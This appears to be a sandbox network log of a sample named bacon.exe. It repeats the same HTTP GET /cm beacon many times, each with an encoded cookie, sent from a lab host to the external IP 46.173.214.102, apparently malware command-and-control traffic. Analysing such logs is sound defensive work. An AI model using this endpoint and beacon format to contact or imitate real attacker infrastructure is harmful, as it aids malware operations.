Oct 28, 2024 16:01:26.850739956 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49186	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:27.609255075 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49187	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:28.357816935 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49188	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:29.106816053 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49189	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:29.857748032 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49190	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:30.636254072 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49191	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:31.415596962 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49192	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:32.198004961 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49193	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:33.020930052 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49194	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:33.755625963 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49195	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:34.535677910 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49196	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:35.315579891 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49197	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:36.262192011 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49198	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:37.017641068 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49199	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:38.794420004 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49200	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:39.805135012 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49201	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:40.572586060 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49202	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:41.321643114 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49203	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:42.073816061 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49204	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:42.819058895 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49205	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:43.568125010 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49206	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:44.318131924 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49207	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:45.208143950 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49208	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:45.954874992 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49209	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:46.703748941 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49210	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:47.452105045 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49211	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:48.231618881 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49212	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:48.965336084 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.22	49213	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:49.714422941 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.22	49214	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:50.495070934 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.22	49215	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:51.701416016 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.22	49216	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:52.459897995 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.22	49217	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:53.224107027 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.22	49218	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:53.972982883 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.22	49219	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:54.895339012 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.22	49220	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:55.643523932 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.22	49221	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:56.422641993 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.22	49222	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:57.186943054 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.22	49223	46.173.214.102	80	3636	C:\Users\user\Desktop\bacon.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 16:01:57.945806026 CET	350	OUT	GET /cm HTTP/1.1 Accept: / Cookie: SwbUtPqD7GUqQw1fT5T9d32Q8U/cV8BrERwamBVFRIsRfGlorWU8FZp3SpEZVYtvc018oBUVSJBgFxcStpRkQo1NTSQQruXdCuS0LpNXSxzvnCI/KWALbzcX0p8s81pl9da9yn4OTHmd6tSN86JabEJ/vp7ewsJFxdnztpave8w= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Host: 46.173.214.102 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
